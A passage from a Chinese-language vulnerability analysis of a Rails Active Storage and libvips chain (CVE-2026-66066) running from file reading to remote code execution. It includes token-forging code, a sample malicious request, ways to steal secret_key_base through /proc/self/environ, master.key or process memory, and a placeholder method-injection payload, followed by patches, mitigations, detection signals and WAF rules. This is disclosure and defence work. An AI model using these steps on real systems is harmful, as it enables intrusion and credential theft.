    signature = hmac.new(verifier_key, serialized, hashlib.sha256).digest()
    # Base64 编码 (Rails 签名令牌格式)
    token = base64.urlsafe_b64encode(serialized + b"--" + signature).decode()
    return token

阶段 8:触发反序列化

攻击者使用伪造的令牌发起表示请求:

GET /rails/active_storage/representations/redirect/<恶意blob的signed_id>/<伪造的variation_key>/safe.png HTTP/1.1
Host: victim.example.com

Rails 验证令牌签名——由于使用了正确的 secret_key_base,签名验证通过。随后 Rails 反序列化嵌入的变换 payload。

阶段 9:RCE

反序列化的 payload 最终通过 ImageProcessing 的链式构建器到达 Kernel#spawn 或 Kernel#eval,实现远程代码执行。研究团队验证的路径在 config.active_support.message_serializer = :json 配置下工作,仅使用 JSON 兼容的 Hash、Array 和 String 值构造签名变换。


从文件读取到 RCE 升级

文件读取到 RCE 的升级是 KindaRails2Shell 的第二阶段,也是最危险的部分。这一阶段依赖于 secret_key_base 泄露后对 Active Storage 变换令牌的伪造,以及 Vips 变换器的一个不完整修复。

8.1 密钥恢复的多种路径

获取 secret_key_base 并非只有读取 /proc/self/environ 一条路:

  1. 环境变量路径:读取 /proc/self/environ,如果应用通过 SECRET_KEY_BASE 环境变量部署(如 Docker、Kubernetes),直接获取。

  2. 主密钥路径:读取 config/master.key 和 config/credentials.yml.enc,用 AES-GCM 解密 credentials,从中提取 secret_key_base。

  3. 进程内存路径:如果密钥既不在环境变量也不在磁盘文件中,可以读取 /proc/self/maps 定位进程内存映射,然后读取 /proc/self/mem 从内存中提取密钥。

8.2 CVE-2025-24293 的不完整修复

RCE 升级的关键在于 Active Storage 变换器的方法注入问题。Active Storage 的变换器本应限制变换可以调用的方法——ActiveStorage.supported_image_processing_methods 白名单在 ImageMagick 变换器中被强制执行:

# activestorage — 变换处理流程
def operations
  transformations.each_with_object([]) do |(name, argument), list|
    if ActiveStorage.variant_processor == :mini_magick
      validate_transformation(name, argument)  # ← ImageMagick 有白名单验证
    end
    # Vips 路径不调用 validate_transformation!
    if argument.present?
      list << [name, argument]
    end
  end
end

问题在于:validate_transformation 白名单只在 :mini_magick 处理器中执行,:vips 处理器不执行任何方法名验证。 Vips 变换器继承的基类 validate_transformation 只阻止了 combine_options,其余方法调用畅通无阻。

这是 CVE-2025-24293(Active Storage 变体方法注入)的残留——该漏洞在 ImageMagick 路径上被修复了,但 Vips 路径被遗漏。下表对比了两个处理器的安全控制:

安全控制 ImageMagick (:mini_magick) Vips (:vips)
validate_transformation 白名单 执行 不执行
方法名过滤 supported_image_processing_methods 无
combine_options 阻止 是 是
其他方法调用 被白名单限制 允许任意方法

8.3 从方法注入到代码执行

由于 Vips 变换器允许任意方法调用,攻击者可以通过伪造的变换令牌调用能够到达 Kernel#spawn 或 Kernel#eval 的方法链。ImageProcessing 的链式构建器会将变换列表中的方法名和参数转发给底层处理器。

# 攻击者伪造的变换 payload (概念示例)
# 利用 Vips 变换器缺少方法验证,构造到达命令执行的调用链
{
  # 正常变换:
  "resize_to_limit": [1, 1],
  # 恶意方法调用 (Vips 路径不验证方法名):
  # → 最终到达 Kernel#spawn / Kernel#eval
  "<dangerous_method>": "<command_payload>"
}

研究团队验证的 RCE 路径仅使用 JSON 兼容的 Hash、Array 和 String 值构造签名变换(在 config.active_support.message_serializer = :json 配置下工作),最终通过 ImageProcessing 的链式构建器到达 Kernel#spawn 或 Kernel#eval。

8.4 不需要采集 variation_key 的替代触发路径

虽然采集 variation_key 是在标准应用上实现完全未认证攻击的方式,但并非唯一的触发路径:

  1. 附件即渲染:许多应用在上传/附加时同步运行变体(process: :immediately 或 after_create 回调调用 attachment.representation(:thumb).processed)。

  2. 应用控制的变换端点:任何执行 blob.variant(固定变换).processed 并返回像素的自定义控制器,都会在不需要 variation_key 的情况下到达 libvips——变换在服务端硬编码,攻击者只需提供 blob。

  3. 分析器和后台任务:ActiveStorage::Analyzer::ImageAnalyzer::Vips 在分析时调用 libvips 提取尺寸。任何最终在不可信 blob 上触发分析器的代码路径(上传钩子、预览器、ActionText 附件)都是另一个触发点,可以通过元数据提取字节。

  4. MATLAB_empty 变体:Rails 的取证仓库记录了一种 MATLAB_empty 变体——libmatio 在推导空数组维度时读取外部字节,因此这些字节可以作为宽度和高度而非像素值出现。这条路径不依赖保留像素值。


补丁分析与修复方案

9.1 核心补丁:Vips.block_untrusted(true)

修复的核心是在 Active Storage 启动时全局禁用 untrusted 操作。补丁在启动时调用 Vips.block_untrusted(true),这会让 libvips 拒绝所有标记为 VIPS_OPERATION_UNTRUSTED 的操作(包括 matload):

# 补丁后的 Active Storage 初始化逻辑 (概念)
unless Vips.respond_to?(:block_untrusted)
  raise <<~ERROR.squish
    libvips's unfuzzed operations are not safe to use with untrusted content,
    and Active Storage cannot disable them. Disabling them requires libvips
    8.13 or later and ruby-vips 2.2.1 or later. Please upgrade libvips...
  ERROR
end

Vips.block_untrusted(true)  # ← 全局禁用 untrusted 操作

这个补丁的设计有三层保障:

  1. 版本检查:如果 ruby-vips 不支持 block_untrusted 方法(即 < 2.2.1),启动时直接抛出异常,阻止应用在不安全环境下运行。

  2. 全局禁用:Vips.block_untrusted(true) 在进程级别禁用所有 untrusted 操作,而非仅在 Active Storage 调用路径上检查。这意味着即使有其他代码路径调用 libvips,不安全加载器也被阻止。

  3. libvips 版本要求:补丁要求 libvips >= 8.13。旧版本根本不支持 block_untrusted 机制——VIPS_OPERATION_UNTRUSTED 标志存在但无法被全局禁用。在此环境下,Active Storage 启动时会抛出异常。

9.2 影响版本与修复版本

版本线 受影响范围 修复版本 默认配置
Rails 6.0.0 – 6.1.7.10 仅非默认配置 7.2.3.2 需手动配置 Vips
Rails 7.0.0 – 7.2.3.1 默认配置受影响 7.2.3.2 默认 Vips
Rails 8.0.0 – 8.0.5 默认配置受影响 8.0.5.1 默认 Vips
Rails 8.1.0 – 8.1.3 默认配置受影响 8.1.3.1 默认 Vips

关键注意:Rails 6.x 仅在显式配置 Vips 处理器时受影响——标准 6.x 安装默认使用 ImageMagick,不受此向量影响。

9.3 无法立即升级的临时缓解措施

如果无法立即升级 Rails,可以采取以下缓解措施:

措施一:设置环境变量(libvips >= 8.13)

# 在应用启动环境中设置
export VIPS_BLOCK_UNTRUSTED=1

libvips 在初始化时读取此环境变量,效果等同于 Vips.block_untrusted(true)。

措施二:初始化器调用(ruby-vips >= 2.2.1)

# config/initializers/vips_security.rb
Vips.block_untrusted(true)

措施三:移除 libvips 依赖(仅用于图像分析时)

如果应用仅在图像分析中使用 ruby-vips(而非变体处理),可以从 Gemfile 中移除 ruby-vips 以彻底消除攻击面。

措施四:libvips < 8.13 无缓解方案

如果 libvips 版本低于 8.13,没有任何变通方案——旧版本根本无法禁用不安全操作。唯一的办法是升级 libvips 或移除 libvips 依赖。

9.4 密钥轮换

升级关闭了漏洞但无法撤销已泄露的密钥。受影响应用应将应用进程可读取的每个密钥视为已暴露并轮换:

  • secret_key_base(轮换会使所有活跃会话过期,要求用户重新登录)
  • 主密钥(config/master.key 或 RAILS_MASTER_KEY),以及 config/credentials.yml.enc 中它解密的所有内容
  • Active Storage 服务凭据(S3、GCS、Azure 密钥)
  • 数据库凭据
  • 应用调用的任何第三方服务的令牌和密钥

重要:轮换应仅作为必要时的中间步骤。不要将已暴露的密钥保留为回退选项。


检测与防御

10.1 检测信号

网络层检测信号:

  1. 异常的直接上传模式:短时间内大量 POST /rails/active_storage/direct_uploads 请求,content_type 声明为 image/png 但 filename 为 .bmp 或其他扩展名。

  2. variation_key 跨 blob 重放:同一个 variation_key 被用于不同的 signed_blob_id——这是重放攻击的核心特征。正常使用中,一个 variation_key 通常只与一个 blob 关联。

  3. 高频 1×1 变体请求:大量请求生成 1×1 像素变体,且来自不同 blob——这是逐字节文件外泄的特征。

  4. 异常的表示 URL 模式:signed_blob_id 和 variation_key 的组合在正常流量中很少出现"新 blob + 旧 variation_key"的搭配。

主机层检测信号:

  1. libvips 打开非图像文件:通过 auditd 或 inotify 监控 libvips 进程打开 /proc/、/etc/、config/ 等敏感路径。

  2. /proc/self/environ 读取:Rails worker 进程读取 /proc/self/environ 或 /proc/1/environ 是强烈的异常信号。

  3. MAT 文件出现在 Active Storage 存储中:存储目录中出现以 MATLAB 5.0 开头的文件。

10.2 WAF 规则建议

# WAF 规则: 检测 content_type 与文件签名不匹配的直接上传
rule: activestorage_direct_upload_content_type_mismatch
  match:
    endpoint: "/rails/active_storage/direct_uploads"
    method: POST
    body.content_type: "image/(png|jpeg|gif|webp)"
  condition:
    # 后续 PUT 上传的文件字节不以对应图像签名开头
    uploaded_file_header: not_starts_with(["\x89PNG", "\xFF\xD8\xFF", "GIF8", "RIFF"])
  action: block

# WAF 规则: 检测 variation_key 跨 blob 重放
rule: activestorage_variation_key_replay
  match:
    endpoint: "/rails/active_storage/representations/*"
  condition:
    # 同一 variation_key 关联多个不同 signed_blob_id (时间窗口内)
    variation_key_cardinality_per_blob: "> 3"
  action: block_and_alert

注意:Rails 安全公告明确指出"WAF 可能在某些部署中争取时间,但不是修复方案"。WAF 的有效性高度取决于应用的 Active Storage 存储配置和上传路径。

10.3 纵深防御建议

  1. 服务端内容类型验证:即使在直接上传路径中,也应对上传文件进行服务端字节嗅探(如使用 Marcel),验证 content_type 与文件实际签名一致。

  2. variation_key 与 blob 绑定:在表示路由中增加 variation_key 与 signed_blob_id 的交叉校验,阻止跨 blob 重放。

  3. 最小权限运行:Rails worker 进程应以最小权限运行,限制其对 /proc/、config/ 等敏感路径的访问。

  4. libvips 编译裁剪:在生产环境的 libvips 构建中禁用不需要的格式加载器(MAT、FITS、NIfTI 等),减少攻击面。

  5. 密钥分离:secret_key_base 不应存储在应用进程可直接读取的环境变量中,考虑使用 KMS 或 Vault 等密钥管理服务。

  6. 监控与告警:对 Active Storage 变体处理路径实施异常检测,关注非图像格式文件进入处理管道的信号。


总结

CVE-2026-66066(KindaRails2Shell)是一个由四层信任失败叠加而成的严重漏洞。它不是单一的代码缺陷,而是 Active Storage 的 content_type 闸门、libvips 的字节嗅探、Vips.block_untrusted 的未调用,以及 libvips/libmatio 对 MAT 文件头部的分歧判断共同构成的系统性问题。

这个漏洞给安全社区带来了几个深刻启示:

第一,内容类型的声明值与文件字节的真实值之间必须有一致性校验。Active Storage 信任数据库中的 content_type 字符串,libvips 信任文件字节,两者之间的断层构成了攻击者可以同时操控两侧的窗口。

第二,库的安全开关如果默认关闭且框架不主动开启,等于没有。libvips 早在 8.13 就引入了 block_untrusted 机制并标记了不安全操作,但 Active Storage 直到 CVE-2026-66066 才开始调用它——这是 CWE-1188 的典型教训。

第三,两个组件对同一输入的不同解析逻辑是隐蔽的攻击面。libvips 看前 10 字节,libmatio 看字节 124-125,这种"双重身份"文件在正常世界中不存在,却能同时满足两个库的不同期望。

第四,文件读取原语在 Rails 应用上几乎等同于 RCE。secret_key_base 泄露后,整个签名体系沦陷,加上 Vips 变换器的方法注入残留(CVE-2025-24293 的不完整修复),从文件读取到 RCE 的升级几乎是水到渠成。

最后,这个漏洞的发现过程本身也值得关注——Ethiack 团队使用了 AI 辅助(Claude Opus 4.8)分析 libvips 加载器的任意文件读写原语,表明 AI 在漏洞研究中的应用正从"代码审计"向"原语发现"延伸。安全团队需要关注这一趋势,既要利用 AI 加速防御研究,也要警惕攻击者利用 AI 快速重建利用链。

如果你在生产环境运行受影响版本的 Rails,请立即升级到 7.2.3.2、8.0.5.1 或 8.1.3.1,确认 libvips >= 8.13,并轮换所有可能已暴露的密钥。


参考来源